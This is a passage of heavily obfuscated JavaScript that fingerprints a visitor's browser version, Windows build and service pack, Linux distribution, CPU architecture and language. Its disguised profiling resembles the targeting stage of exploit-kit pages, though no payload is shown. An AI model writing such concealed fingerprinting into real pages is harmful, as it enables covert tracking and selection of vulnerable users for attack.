if(_Q(String.fromCharCode(114,0x61,110,0147,0145))){TT=String.fromCharCode(0x32,0x33,056,060);}else if(String.fromCharCode(0x48,84,77,0114,0x54,105,109,0x65,69,108,101,109,0x65,0156,0x74) in window){TT=(function () { var Xe='2.0',bS='2'; return bS+Xe })();}else if(String.fromCharCode(0143,0x72,0x65,0x61,116,101,69,108,0x65,0x6d,0x65,0x6e,0164) in document&&document[(String.fromCharCode(0143,114,0145,0141,0164,101,0x45,0154,101,109,101,0x6e,0x74))](String.fromCharCode(0155,0141,105,0x6e))&&document[(String.fromCharCode(0143,0162,0x65,0x61,116,0x65,0x45,0x6c,101,109,101,0156,0x74))](String.fromCharCode(0155,0x61,0x69,0156))[((function () { var gW="uctor",z9="str",av="con"; return av+z9+gW })())]===window[String.fromCharCode(0x48,84,0x4d,0x4c,0105,0x6c,101,0x6d,0x65,0x6e,0x74)]){TT=(function () { var EN='0',FKA='.',r9='21'; return r9+FKA+EN })();}else if((function () { var mV='l',TI='mu',CA='i'; return CA+TI+mV })() in Math){TT=(function () { var Px='0',gi='0.',Ms='2'; return Ms+gi+Px })();}else if(Vr(String.fromCharCode(102,111,0x6e,0x74,0x2d,0x73,0151,0172,0x65),String.fromCharCode(0x66,0x6f,0x6e,0x74,0x53,105,0x7a,101),(function () { var Am='x',_c='ma',mg='23v'; return mg+_c+Am })())){TT=String.fromCharCode(0x31,071,0x2e,48);}else if(String.fromCharCode(0144,101,0166,0151,0x63,101,0120,0151,120,101,108,82,0141,0x74,0151,0157) in window){TT=String.fromCharCode(061,070,0x2e,48);}else if(String.fromCharCode(99,0x72,101,0x61,0x74,0x65,69,0x6c,0x65,0x6d,0x65,0156,116) in document&&document[(String.fromCharCode(99,114,101,0x61,0164,0145,0105,0x6c,0x65,0x6d,0145,0156,116))]((function () { var hZ='ame',TC='fr',X5='i'; return X5+TC+hZ })())&&(function () { var uoo='box',p3='sand'; return p3+uoo })() in document[(String.fromCharCode(0x63,0x72,101,0x61,0x74,0x65,0x45,0154,0x65,0x6d,101,0x6e,116))]((function () { var Dn='me',j4='fra',zS='i'; return zS+j4+Dn })())){TT=(function () { var Az='0',K7='17.'; return K7+Az })();}else if((function () { var OU='ps',yR='ozAp',CR='m'; return CR+yR+OU })() in navigator&&String.fromCharCode(105,110,115,116,0141,0x6c,0154) in navigator[((function () { var Oh="ps",_A="zAp",LZ="mo"; return LZ+_A+Oh })())]){TT=String.fromCharCode(061,066,056,48);}else if((function () { var os='ent',d1='eElem',GQ='MLSourc',f$='HT'; return f$+GQ+d1+os })() in window&&window[(function () { var Zn="lement",Yh="eE",XX="HTMLSourc"; return XX+Yh+Zn })()][(String.fromCharCode(112,114,111,116,0157,0164,121,112,0145))]&&(function () { var iH='dia',jm='me'; return jm+iH })() in window[String.fromCharCode(0x48,0x54,77,76,0x53,0157,0x75,0x72,0x63,101,0105,108,0145,109,101,0x6e,0164)][(String.fromCharCode(112,114,111,0x74,0157,0x74,0171,112,0145))]){TT=(function () { var pb='0',Ff='15.'; return Ff+pb })();}else if((function () { var G7='ck',Iq='nterLo',A2='i',lu='ozRequestPo',Wv='m'; return Wv+lu+A2+Iq+G7 })() in document[((function () { var kC="y",d7D="bod"; return d7D+kC })())]){TT=String.fromCharCode(0x31,0x34,46,0x30);}else if((function () { var Bo='p',v6='a',JE='M'; return JE+v6+Bo })() in window){TT=(function () { var yK=".0",Wr="13"; return Wr+yK })();}else if(String.fromCharCode(0x6d,0157,0x7a,0x43,0x6f,0156,0x6e,0145,0x63,116,0x69,111,110) in navigator){TT=String.fromCharCode(0x31,0x32,46,48);}else if(String.fromCharCode(0155,111,0x7a,0126,0x69,0x62,0x72,0141,116,101) in navigator){TT=(function () { var fy="0",gQ="11."; return gQ+fy })();}else if(Vr((function () { var Oi='lity',G3='ckface-visibi',NA='a',mv='-moz-b'; return mv+NA+G3+Oi })(),String.fromCharCode(0115,0x6f,122,0102,0x61,99,0153,0146,0x61,0143,0145,86,105,0x73,0x69,0x62,0151,108,0x69,0164,0x79),(function () { var $L='en',byD='hidd'; return byD+$L })())){TT=(function () { var sgV="0",fc="0.",nK="1"; return nK+fc+sgV })();}else if(String.fromCharCode(0144,111,0x4e,111,116,0x54,0x72,0x61,0143,107) in navigator){TT=(function () { var eE="0",_V=".",eY="9"; return eY+_V+eE })();}else if(String.fromCharCode(105,0x6e,0163,0145,114,116,0x41,0x64,0152,0141,0x63,101,0x6e,116,0110,84,77,76) in document[((function () { var Ht="dy",Q3="bo"; return Q3+Ht })())]){TT=String.fromCharCode(070,056,0x30);}else if(String.fromCharCode(0157,0x6e,100,101,0x76,105,99,0x65,111,0162,0x69,101,110,0164,0141,0x74,0151,0157,110) in window&&!((function () { var QQ='ce',zi='yReferen',Ub='createEntit'; return Ub+zi+QQ })() in document)){TT=String.fromCharCode(55,056,48);}else if(String.fromCharCode(0115,0157,122,66,0154,0157,0x62,0102,0x75,0x69,0154,0144,101,0x72) in window){TT=(function () { var mA="0",HD=".",GC="6"; return GC+HD+mA })();}else if((function () { var oM='rator',SB='ne',L1='e',FE='isG'; return FE+L1+SB+oM })() in Function){TT=(function () { var Jx="0",bz=".",ax="5"; return ax+bz+Jx })();}else if((function () { var oZ='rray',VH='A',u3='is'; return u3+VH+oZ })() in Array){TT=(function () { var BC="0",am=".",kK="4"; return kK+am+BC })();}else if(document[(String.fromCharCode(0x72,101,0141,100,121,0x53,116,0x61,116,101))]){TT=(function () { var VVc="6",rX=".",uY="3"; return uY+rX+VVc })();}else if(String[(String.fromCharCode(0x74,0162,105,0x6d,0122,0151,103,0150,0164))]){TT=(function () { var x1="5",p2=".",mB="3"; return mB+p2+x1 })();}else if(document[(String.fromCharCode(0147,101,0164,0105,0154,101,109,0145,0x6e,0x74,115,0x42,0x79,67,0x6c,0x61,115,115,0x4e,0141,109,0x65))]){TT=String.fromCharCode(0x33);}else if(window[(String.fromCharCode(73,0164,0x65,0162,97,0x74,111,0x72))]){TT=(function () { var IO="2"; return IO })();}else if(Array[((function () { var gY="ery",hb="v",US="e"; return US+hb+gY })())]){TT=String.fromCharCode(061,056,0x35);}else {TT=(function () { var xb="1"; return xb })();}if(navigator[(String.fromCharCode(0x6f,0163,0143,112,0165))]!=navigator[(String.fromCharCode(0160,108,0141,0x74,0146,111,0x72,109))]){i_=true;}TG=navigator[((function () { var Gq="pu",uJ="sc",Hw="o"; return Hw+uJ+Gq })())];if(TG[((function () { var ZZ="h",Or="c",Ud="t",VJ="a",Kl="m"; return Kl+VJ+Ud+Or+ZZ })())](/i.86/)){X1=H;}if(TG[((function () { var K8="tch",c_="ma"; return c_+K8 })())](/x86_64/)){X1=r;}if(TG[((function () { var XP="h",vJ="c",Xs="mat"; return Xs+vJ+XP })())](/Windows/)){sm=hT;switch(TG){case String.fromCharCode(87,0x69,0x6e,0144,111,119,115,0x20,0116,0x54,040,53,46,0x30):sm=(function () { var KH="000",pS=" 2",iL="Windows"; return iL+pS+KH })();break;case (function () { var xG="T 5.1",n1=" N",b3="Windows"; return b3+n1+xG })():sm=(function () { var Ik="s XP",Kh="Window"; return Kh+Ik })();break;case (function () { var OR="NT 5.2",gS="Windows "; return gS+OR })():sm=(function () { var xm="003",Rs="2",A8="ndows ",TE="Wi"; return TE+A8+Rs+xm })();break;case String.fromCharCode(0127,105,0x6e,0144,111,0167,0163,040,0116,0x54,0x20,066,46,48):sm=String.fromCharCode(87,0x69,0x6e,0144,0157,0x77,0163,32,0x56,0151,115,0164,97);break;case String.fromCharCode(0127,0151,0x6e,0x64,0x6f,0167,115,0x20,78,84,32,54,0x2e,49):sm=(function () { var Gy="s 7",gXI="ow",D6="nd",jS="Wi"; return jS+D6+gXI+Gy })();break;case String.fromCharCode(0127,0x69,0x6e,0144,111,0167,115,040,0x4e,0124,0x20,0x36,056,50):sm=String.fromCharCode(0127,105,110,0144,111,0167,0x73,0x20,070);break;case String.fromCharCode(0x57,0x69,110,0144,0x6f,0167,0x73,0x20,78,84,0x20,54,056,063):sm=(function () { var Jj="s 8.1",hQ="Window"; return hQ+Jj })();break;}}if(TG[((function () { var AP="h",Fzq="tc",zn="a",ef="m"; return ef+zn+Fzq+AP })())](/Linux/)){sm=z;}}else if(typeof window[String.fromCharCode(83,0x63,114,0x69,112,0x74,69,110,0x67,105,110,0x65,0x4d,0141,106,0157,0162,0126,0x65,0x72,0163,0151,0157,110)]==String.fromCharCode(0x66,117,110,99,0164,0151,111,0x6e)){sm=hT;s=h;window[(function () { var wf="on_maj",K="i",g5="vers"; return g5+K+wf })()]=window[String.fromCharCode(83,0x63,0x72,105,0x70,0164,0105,0156,0147,105,110,101,0x4d,97,106,0x6f,0x72,86,0x65,0162,0163,0151,0157,0x6e)]()[((function () { var b0="ing",Nz="toStr"; return Nz+b0 })())]();window[(function () { var fg="min",Lm="on_",ku="versi"; return ku+Lm+fg })()]=window[String.fromCharCode(83,99,114,105,0160,0x74,69,0156,0147,105,0156,0145,0115,0151,0x6e,111,0x72,0126,0x65,0162,0x73,0151,0157,110)]()[((function () { var XZ="tring",M="S",AS="o",Uk="t"; return Uk+AS+M+XZ })())]();window[(function () { var vN="ld",eW="ion_bui",Yl="vers"; return Yl+eW+vN })()]=window[String.fromCharCode(83,0143,0162,105,0160,0x74,0x45,0156,0x67,0x69,0x6e,0145,0x42,117,105,0154,0x64,0x56,0145,0162,115,0x69,111,0156)]()[((function () { var ti="ing",xB="tr",HA="S",BA="to"; return BA+HA+xB+ti })())]();TG=window[String.fromCharCode(0166,101,0x72,0x73,0151,0157,0x6e,95,0x6d,97,0152)]+window[(function () { var F2="n",Yr="ion_mi",VC="vers"; return VC+Yr+F2 })()]+window[String.fromCharCode(118,0x65,0x72,0163,105,0157,110,95,0142,0x75,105,108,0144)];switch(TG){case (function () { var d2="4615",v="1",Mh="5"; return Mh+v+d2 })():TT=(function () { var kq="0",LH=".",nI="5"; return nI+LH+kq })();sm=String.fromCharCode(0127,0151,0x6e,100,111,0167,0x73,0x20,50,0x30,060,0x30);Uf=String.fromCharCode(83,0120,060);break;case String.fromCharCode(065,0x31,0x35,0x39,060,0x37):sm=(function () { var o1=" 2000",pH="Windows"; return pH+o1 })();Uf=String.fromCharCode(83,0x50,51);break;case (function () { var co="13",G2="5185"; return G2+co })():sm=(function () { var zD="000",q7=" 2",n8="s",F="dow",q="in",gP="W"; return gP+q+F+n8+q7+zD })();Uf=String.fromCharCode(83,80,52);break;case String.fromCharCode(065,066,54,066,062,0x36):TT=(function () { var sc="0",wi=".",Cc="6"; return Cc+wi+sc })();sm=String.fromCharCode(0127,105,110,100,0x6f,0x77,0x73,0x20,0130,80);Uf=String.fromCharCode(0x53,0x50,060);break;case String.fromCharCode(0x35,54,56,53,061,065):TT=String.fromCharCode(066,0x2e,0x30);sm=(function () { var jE=" 2003",H$="Windows"; return H$+jE })();Uf=(function () { var Ez="0",LG="P",Sj="S"; return Sj+LG+Ez })();break;case (function () { var _P="820",Ss="8",cW="56"; return cW+Ss+_P })():sm=(function () { var GV="ows XP",IN="nd",qg="Wi"; return qg+IN+GV })();Uf=(function () { var e="2",g="P",mT="S"; return mT+g+e })();break;case (function () { var uB="27",Z="5688"; return Z+uB })():sm=String.fromCharCode(87,0151,0x6e,0144,111,0167,0x73,32,0x32,0x30,0x30,063);Uf=String.fromCharCode(83,80,061);break;case (function () { var p_="31",S4="5688"; return S4+p_ })():if(sm==String.fromCharCode(062,48,060,48)){Uf=(function () { var qF="4",Ky="P",HJ="S"; return HJ+Ky+qF })();}else {sm=String.fromCharCode(0127,0151,0x6e,0x64,0157,119,0163,040,0130,80);Uf=String.fromCharCode(83,80,0x32);}break;case (function () { var LX="2",CF="83",FO="8",R8="56"; return R8+FO+CF+LX })():sm=(function () { var Pd="3",iA="0",tG=" 20",gC="dows",vU="Win"; return vU+gC+tG+iA+Pd })();Uf=String.fromCharCode(0123,0120,50);break;case (function () { var dK="837",hR="68",$H="5"; return $H+hR+dK })():TT=(function () { var r9="0",t8=".",GO="6"; return GO+t8+r9 })();sm=String.fromCharCode(87,0x69,0x6e,0144,0157,0167,0163,0x20,88,0x50);Uf=String.fromCharCode(0x53,80,0x32);break;case (function () { var Zf="9",c9="9",Ct="7165",eR="5"; return eR+Ct+c9+Zf })():sm=String.fromCharCode(87,0x69,110,0144,111,119,0x73,32,0130,0120);Uf=(function () { var VH="3",eD="P",j$="S"; return j$+eD+VH })();break;case (function () { var LP="730",Ig="5",qY="57"; return qY+Ig+LP })():TT=(function () { var td="0",vl=".",dQ="7"; return dQ+vl+td })();Uf=String.fromCharCode(83,0120,50);break;case String.fromCharCode(065,067,0x31,0x38,48,066,0x36):TT=String.fromCharCode(55,0x2e,0x30);sm=(function () { var vL="P",wg=" X",a8="indows",q="W"; return q+a8+wg+vL })();Uf=String.fromCharCode(0123,0120,063);break;case String.fromCharCode(53,55,50,50,0x35,070,071):TT=String.fromCharCode(0x37,46,0x30);sm=(function () { var hG="P",aK="X",y9="ws ",Fw="Windo"; return Fw+y9+aK+hG })();Uf=String.fromCharCode(0x53,80,063);break;case String.fromCharCode(0x35,067,54,060,060,0x30):TT=String.fromCharCode(55,056,48);sm=(function () { var n="sta",e="dows Vi",Sm="n",RB="Wi"; return RB+Sm+e+n })();Uf=String.fromCharCode(0x53,0120,060);break;case String.fromCharCode(0x35,56,060):case (function () { var RN="385",UJ="6",md="581"; return md+UJ+RN })():case (function () { var YJ="75",dC="8164",D7="5"; return D7+dC+YJ })():case String.fromCharCode(065,56,0x31,0x36,0x37,54,50):TT=(function () { var q7="0",VJ=".",M5="8"; return M5+VJ+q7 })();sm=String.fromCharCode(0127,0151,0x6e,100,111,0167,115,0x20,55);Uf=String.fromCharCode(0123,80,48);break;case (function () { var jX="514",gR="7",h1="1",hs="58"; return hs+h1+gR+jX })():TT=String.fromCharCode(56,46,48);sm=(function () { var P2=" 7",r$="ndows",oI="Wi"; return oI+r$+P2 })();Uf=String.fromCharCode(0x53,0120,49);break;case String.fromCharCode(065,56,0x31,070,0x37,0x30,0x32):case String.fromCharCode(0x35,0x38,0x32,0x32,071,54,0x30):TT=String.fromCharCode(0x38,056,48);sm=(function () { var kn="s XP",n="indow",xW="W"; return xW+n+kn })();Uf=(function () { var uL="3",fP="P",Ci="S"; return Ci+fP+uL })();break;case String.fromCharCode(071,0x30,061,066,52,48,0x36):TT=(function () { var eG="0",nC=".",SV="9"; return SV+nC+eG })();sm=String.fromCharCode(0x57,0x69,110,0x64,0x6f,0167,0x73,32,067);Uf=String.fromCharCode(0123,0x50,48);break;case (function () { var NI="441",j4="9016"; return j4+NI })():TT=(function () { var Ck="0",U4=".",PV="9"; return PV+U4+Ck })();sm=(function () { var g="ws 7",n="ndo",sx="Wi"; return sx+n+g })();Uf=(function () { var bT="1",D_="P",bX="S"; return bX+D_+bT })();break;case String.fromCharCode(0x39,060,49,0x36,064,52,51):TT=String.fromCharCode(071,0x2e,060);sm=(function () { var _="ws 7",cO="o",e="ind",gT="W"; return gT+e+cO+_ })();Uf=String.fromCharCode(0123,80,0x31);break;case (function () { var OK="6",lD="44",F="9016"; return F+lD+OK })():TT=String.fromCharCode(0x39,46,060);sm=(function () { var n="7",_E="s ",P_="indow",MM="W"; return MM+P_+_E+n })();Uf=(function () { var Gb="1",KX="P",V6="S"; return V6+KX+Gb })();break;case String.fromCharCode(57,48,0x31,54,064,54,52):sm=(function () { var As=" 2008 R2",qq="Windows"; return qq+As })();TT=(function () { var la="0",jj=".",RQ="9"; return RQ+jj+la })();break;case String.fromCharCode(071,0x30,49,0x36,52,0x37,0x30):TT=String.fromCharCode(071,0x2e,48);sm=String.fromCharCode(0127,0x69,110,0144,111,0x77,0x73,040,55);Uf=String.fromCharCode(0123,0x50,49);break;case (function () { var VH="502",eF="6",iG="901"; return iG+eF+VH })():TT=String.fromCharCode(0x39,0x2e,0x30);sm=(function () { var Al="7",q=" ",Et="s",YI="w",Dg="ndo",xb="i",hF="W"; return hF+xb+Dg+YI+Et+q+Al })();Uf=String.fromCharCode(0123,0120,0x31);break;case (function () { var ez="6",l_="50",r6="9016"; return r6+l_+ez })():TT=(function () { var kJ="0",uL=".",NM="9"; return NM+uL+kJ })();sm=String.fromCharCode(0x57,0x69,0x6e,0144,111,119,0x73,32,067);Uf=(function () { var XK="1",_="P",M1="S"; return M1+_+XK })();break;case String.fromCharCode(0x39,48,49,0x36,065,49,064):TT=(function () { var wi="0",kV=".",zR="9"; return zR+kV+wi })();sm=String.fromCharCode(0x57,0151,0156,0144,0x6f,0x77,0163,040,067);Uf=(function () { var XD="1",qX="P",Xy="S"; return Xy+qX+XD })();break;case String.fromCharCode(57,48,49,54,53,50,0x30):TT=(function () { var Fa="0",Y2=".",Kv="9"; return Kv+Y2+Fa })();sm=String.fromCharCode(0127,105,0156,0x64,0157,0x77,0163,040,0x37);Uf=(function () { var VV="1",Ny="P",b9="S"; return b9+Ny+VV })();break;case String.fromCharCode(0x39,060,0x31,0x36,53,062,54):TT=String.fromCharCode(0x39,0x2e,060);sm=(function () { var oa="ws 7",jR="ndo",_="Wi"; return _+jR+oa })();Uf=String.fromCharCode(83,80,49);break;case (function () { var e="533",QC="9016"; return QC+e })():TT=(function () { var QJ="0",l$=".",R6="9"; return R6+l$+QJ })();sm=String.fromCharCode(0127,0151,0x6e,0x64,0x6f,0167,0163,0x20,55);Uf=String.fromCharCode(83,0120,0x31);break;case String.fromCharCode(0x31,48,0x30,061,066,55,062,48):TT=(function () { var $N="0",hM=".",gH="10"; return gH+hM+$N })();sm=(function () { var Sh="ws 7",kw="o",sf="d",E6="n",cI="i",Uh="W"; return Uh+cI+E6+sf+kw+Sh })();Uf=(function () { var ef="1",Wd="P",OV="S"; return OV+Wd+ef })();break;case String.fromCharCode(0x31,061,060,061,54,52,50,070):TT=(function () { var _H="0",Om="11."; return Om+_H })();sm=String.fromCharCode(0x57,0x69,110,0144,0x6f,119,0163,0x20,067);Uf=String.fromCharCode(0123,0120,49);break;case (function () { var wz="84",zq="3",ah="6",c$="1",GT="00",eA="1"; return eA+GT+c$+ah+zq+wz })():TT=(function () { var Gc=".0",io="0",Us="1"; return Us+io+Gc })();sm=String.fromCharCode(0x57,0151,0x6e,0144,0x6f,119,0163,32,0x38);Uf=(function () { var Ex="0",UXp="P",uR="S"; return uR+UXp+Ex })();break;case (function () { var _W="426",mT="11016"; return mT+_W })():TT=String.fromCharCode(061,0x31,056,48);sm=(function () { var Bj="1",F5="ws 8.",QUs="indo",PZ="W"; return PZ+QUs+F5+Bj })();break;case (function () { var Ev="0",Rb="100"; return Rb+Ev })():TT=(function () { var Vd="0",SA="0.",EP="1"; return EP+SA+Vd })();sm=(function () { var rd="ws 8",Oi="ndo",G4="Wi"; return G4+Oi+rd })();Uf=(function () { var NV="0",ge="P",nab="S"; return nab+ge+NV })();break;case (function () { var A_="100",MV="1"; return MV+A_ })():TT=String.fromCharCode(061,061,46,0x30);sm=String.fromCharCode(87,0151,0156,0x64,0157,0x77,0x73,0x20,0x31,48);Uf=String.fromCharCode(0123,80,060);break;default:k$=TG;break;}if(!TT){if(document[((function () { var E4="Element",Tg="document"; return Tg+E4 })())]&&(typeof document[((function () { var VE="nt",v4="me",bi="Ele",g="document"; return g+bi+v4+VE })())][(String.fromCharCode(0x73,0164,0x79,0154,0145))][(String.fromCharCode(0155,97,120,72,0x65,105,103,0x68,0x74))])!=String.fromCharCode(117,0x6e,100,0x65,0146,0151,110,0145,0x64)){try{if(document[(String.fromCharCode(0137,0137,112,114,111,0x74,111,95,0x5f))]!=window[String.fromCharCode(0x75,0156,100,101,0x66,105,0156,0145,0x64)]){TT=String.fromCharCode(061,49,0x2e,0x30);}} catch(yt){}if(!TT){try{var Nj=document[(String.fromCharCode(0143,0162,0x65,97,116,0x65,0x45,0154,0x65,0155,101,0x6e,0x74))]&&document[((function () { var BY="lement",Ym="reateE",W1="c"; return W1+Ym+BY })())](String.fromCharCode(0142,0x61,0144,110,97,0155,101));if(Nj&&Nj[(String.fromCharCode(110,111,0x64,0145,0x4e,97,0155,101))]===(function () { var B0="NAME",I2="BAD"; return I2+B0 })()){TT=String.fromCharCode(061,0x30,056,48);}} catch(yt){}}if(!TT){try{document[((function () { var bA="ME",wa="NA",iq="BAD"; return iq+wa+bA })())]();} catch(yt){if(yt[(String.fromCharCode(0x6d,101,0x73,0x73,0x61,103,0x65))][((function () { var wG="f",u$="dexO",Cb="in"; return Cb+u$+wG })())](String.fromCharCode(66,65,68,78,65,0115,69))>('oBNauFBlpr'.length-10)){TT=(function () { var g2="0",Md=".",Mw="9"; return Mw+Md+g2 })();}}}if(!TT){try{TT=String.fromCharCode(0x38,0x2e,0x30);document[((function () { var Jg="Element",ZDL="document"; return ZDL+Jg })())][((function () { var JHf="e",Ib="yl",Ar="t",aW="s"; return aW+Ar+Ib+JHf })())][(String.fromCharCode(0x64,0x69,0163,0160,0154,0x61,121))]=(function () { var dX="ll",nO="e",ur8="-c",Wg="table"; return Wg+ur8+nO+dX })();} catch(yt){TT=(function () { var hu="0",fa=".",Ab="7"; return Ab+fa+hu })();}}}else if(document[(String.fromCharCode(0143,111,109,112,0141,116,77,111,0144,101))]){TT=(function () { var _="0",yV=".",KJ="6"; return KJ+yV+_ })();}else if(window[(String.fromCharCode(0x63,0x72,101,0141,116,0145,0120,111,112,0x75,0x70))]){TT=String.fromCharCode(53,46,0x35);}else if(window[(String.fromCharCode(0x61,0x74,0x74,0x61,0x63,0150,0105,118,101,0156,0164))]){TT=String.fromCharCode(53,0x2e,0x30);}else {TT=(function () { var q8="0",Ax=".",JB="4"; return JB+Ax+q8 })();}switch(navigator[(String.fromCharCode(0x61,0x70,112,0x4d,0x69,0156,111,114,86,101,114,0163,0x69,111,0x6e))]){case String.fromCharCode(59,0123,0120,062,0x3b):Uf=String.fromCharCode(0123,0120,062);break;}}}if(!sm&&navigator[((function () { var oG="m",Qr="or",QN="platf"; return QN+Qr+oG })())]==(function () { var JL="2",pW="3",gF="n",eC="Wi"; return eC+gF+pW+JL })()){sm=hT;}if(!i_){TG=vj[(String.fromCharCode(0x74,0x6f,0114,111,119,0145,0162,0x43,0x61,115,0x65))]();}else if(navigator[(String.fromCharCode(111,0x73,0x63,0x70,0x75))]){TG=navigator[((function () { var oC="u",xy="cp",F="s",zv="o"; return zv+F+xy+oC })())][((function () { var v="Case",sH="oLower",M7="t"; return M7+sH+v })())]();}else {TG=(function () { var VA=" "; return VA })();}if(!sm||('zaYnjulh'.length-8)==sm[((function () { var i9="h",bf="engt",K="l"; return K+bf+i9 })())]){if(TG[(String.fromCharCode(105,0156,0144,0x65,0x78,0x4f,0146))]((function () { var Si="ows",Z$="wind"; return Z$+Si })())!=-'P'.length){sm=hT;}else if(TG[((function () { var kJ="f",hM="O",tW="x",D$="inde"; return D$+tW+hM+kJ })())](String.fromCharCode(0x6d,0x61,99))!=-'m'.length){sm=c;}else if(TG[((function () { var Mi="Of",Qdg="ndex",_="i"; return _+Qdg+Mi })())](String.fromCharCode(108,105,0x6e,0x75,120))!=-'N'.length){sm=z;}}if(sm==hT){if(TG[(String.fromCharCode(0x69,0x6e,0144,0145,0x78,0x4f,0146))](String.fromCharCode(119,105,110,0x64,0157,0167,115,32,0x39,065))!=-'P'.length){sm=String.fromCharCode(87,105,0x6e,100,0x6f,0x77,0x73,32,57,0x35);}else if(TG[((function () { var Hq="f",MY="O",CI="x",I1="e",Kf="d",QL="in"; return QL+Kf+I1+CI+MY+Hq })())](String.fromCharCode(0167,0151,0x6e,0144,111,119,0x73,0x20,0156,116,040,0x34))!=-'z'.length){sm=(function () { var g="T",n="ws N",Hs="do",QE="in",e="W"; return e+QE+Hs+n+g })();}else if(TG[((function () { var Z="Of",g="ndex",lq="i"; return lq+g+Z })())](String.fromCharCode(119,0x69,110,0x20,071,0x78,040,064,46,0x39))!=-'w'.length){sm=(function () { var e=" ME",ma="ows",A0="Wind"; return A0+ma+e })();}else if(TG[((function () { var KAr="f",f5="dexO",DD="in"; return DD+f5+KAr })())]((function () { var zn="ows 98",xv="nd",Tp="wi"; return Tp+xv+zn })())!=-'Y'.length){sm=String.fromCharCode(87,0151,110,0x64,0x6f,119,115,040,57,0x38);}else if(TG[(String.fromCharCode(0x69,0x6e,0144,101,0170,0117,0146))](String.fromCharCode(0167,105,0x6e,100,111,0167,0x73,32,0156,116,32,53,46,48))!=-'y'.length){sm=String.fromCharCode(0127,0x69,0x6e,0x64,111,0167,0163,32,0x32,0x30,0x30,48);}else if(TG[(String.fromCharCode(105,110,0x64,101,0170,0x4f,102))]((function () { var YQ="5.1",M2="ws nt ",iy="ndo",q="wi"; return q+iy+M2+YQ })())!=-'F'.length){sm=(function () { var WK="s XP",BO="ndow",zl="i",Vf="W"; return Vf+zl+BO+WK })();}else if(TG[(String.fromCharCode(105,0156,100,0145,0170,79,0x66))]((function () { var O$="2",vg="t 5.",_="dows n",X9="win"; return X9+_+vg+O$ })())!=-'S'.length){sm=(function () { var bZ=" 2003",_W="Windows"; return _W+bZ })();}else if(TG[((function () { var $u="Of",Au="x",$w="nde",m3="i"; return m3+$w+Au+$u })())]((function () { var c2="t 6.0",J$="indows n",Ot="w"; return Ot+J$+c2 })())!=-'d'.length){sm=(function () { var tN="ista",IH="ndows V",ck="Wi"; return ck+IH+tN })();}else if(TG[(String.fromCharCode(0151,0x6e,0144,0x65,0170,0117,0x66))]((function () { var up="nt 6.1",NX="windows "; return NX+up })())!=-'d'.length){sm=(function () { var e1="ows 7",uv="Wind"; return uv+e1 })();}else if(TG[(String.fromCharCode(0x69,110,100,101,120,79,102))]((function () { var dH="6.2",TB="nt ",kP="windows "; return kP+TB+dH })())!=-'f'.length){sm=String.fromCharCode(0x57,0151,0156,0144,0157,0167,0x73,040,56);}else if(TG[((function () { var on="f",gY="xO",Qc="de",PI="n",KL="i"; return KL+PI+Qc+gY+on })())](String.fromCharCode(119,0151,0x6e,100,111,119,115,040,0156,0164,040,066,46,063))!=-'F'.length){sm=String.fromCharCode(0127,0x69,110,0144,0x6f,0x77,0163,0x20,070,0x2e,061);}}if(sm==z&&(!p7||('xCh'.length-3)==p7[((function () { var f_="h",x4="t",IS="eng",Z="l"; return Z+IS+x4+f_ })())])){if(TG[((function () { var bC="Of",Jo="ndex",$S="i"; return $S+Jo+bC })())](String.fromCharCode(103,101,0x6e,0164,0157,0x6f))!=-'s'.length){p7=(function () { var JC="o",v="ento",c3="G"; return c3+v+JC })();}else if(TG[((function () { var JQ="f",y3="xO",wp="inde"; return wp+y3+JQ })())]((function () { var LU="tu",bk="un",e="ub"; return e+bk+LU })())!=-'l'.length){p7=String.fromCharCode(0125,0x62,117,110,116,0x75);}else if(TG[(String.fromCharCode(0151,0x6e,0x64,0145,120,79,0146))](String.fromCharCode(0144,0145,0142,0151,0141,110))!=-'u'.length){p7=String.fromCharCode(68,0145,0142,0x69,97,0x6e);}else if(TG[(String.fromCharCode(105,0156,0144,0145,120,0x4f,0x66))](String.fromCharCode(114,0150,0145,0154))!=-'W'.length){p7=String.fromCharCode(0x52,72,0105,76);}else if(TG[((function () { var Qf="f",e$="xO",_="inde"; return _+e$+Qf })())]((function () { var Tb="hat",Sb="red "; return Sb+Tb })())!=-'A'.length){p7=String.fromCharCode(0122,0x48,0x45,0x4c);}else if(TG[((function () { var SG="xOf",L2="inde"; return L2+SG })())]((function () { var xq="os",jy="t",QD="cen"; return QD+jy+xq })())!=-'s'.length){p7=String.fromCharCode(67,101,0x6e,0164,79,0x53);}else if(TG[((function () { var N1="Of",po="ndex",QZ="i"; return QZ+po+N1 })())](String.fromCharCode(0x66,0145,0x64,0157,0x72,0x61))!=-'J'.length){p7=String.fromCharCode(0x46,101,100,111,0162,0x61);}else if(TG[((function () { var F5="f",g="xO",M="inde"; return M+g+F5 })())](String.fromCharCode(97,110,100,0x72,0157,0x69,100))!=-'E'.length){p7=String.fromCharCode(65,0x6e,100,0x72,111,0x69,0x64);}}if(navigator[(String.fromCharCode(0x73,0x79,115,0164,0x65,0x6d,76,0141,0156,0x67,117,0x61,103,0145))]){m=navigator[(String.fromCharCode(115,121,115,116,101,0155,76,0x61,110,0147,0x75,97,0147,0x65))];}else if(navigator[((function () { var Af="ge",r8="ngua",C2="a",QW="l"; return QW+C2+r8+Af })())]){m=navigator[((function () { var uM="e",CJ="ag",tA="langu"; return tA+CJ+uM })())];}else {m=String.fromCharCode(0x65,0156);}if(typeof (navigator[((function () { var F="ss",RD="puCla",Z_="c"; return Z_+RD+F })())])!=(function () { var v='ed',nE='in',Lc='undef'; return Lc+nE+v })()){switch(navigator[(String.fromCharCode(0143,0x70,0x75,0103,108,0141,115,115))]){case (function () { var Sq="6",bb="8",M="x"; return M+bb+Sq })():X1=H;break;case (function () { var NN="4",No="6",zp="x"; return zp+No+NN })():X1=r;break;}}if(!X1||('jT'.length-2)==X1[(String.fromCharCode(0x6c,0x65,0156,0x67,116,0x68))]){TG=navigator[((function () { var $u="form",M="lat",qj="p"; return qj+M+$u })())];if(((function () { var g="2",cw="3",q="Win"; return q+cw+g })()==TG)||(TG[(String.fromCharCode(0x6d,0x61,0164,0143,0x68))](/i.86/))){X1=H;}else if(-'M'.length!=TG[(String.fromCharCode(0151,110,0144,0145,0170,0117,0146))](String.fromCharCode(120,0x36,064))||(-'o'.length!=TG[((function () { var IE="f",e1="O",hD="x",Fz="inde"; return Fz+hD+e1+IE })())](String.fromCharCode(120,56,0x36,95,54,52)))){X1=r;}else if(-'R'.length!=TG[((function () { var _="exOf",Xp="nd",c6="i"; return c6+Xp+_ })())]((function () { var AX='C',vb='P',pE='P'; return pE+vb+AX })())){X1=A;}}this[(String.fromCharCode(111,115,0137,0x6e,0x61,109,101))]=sm;this[((function () { var 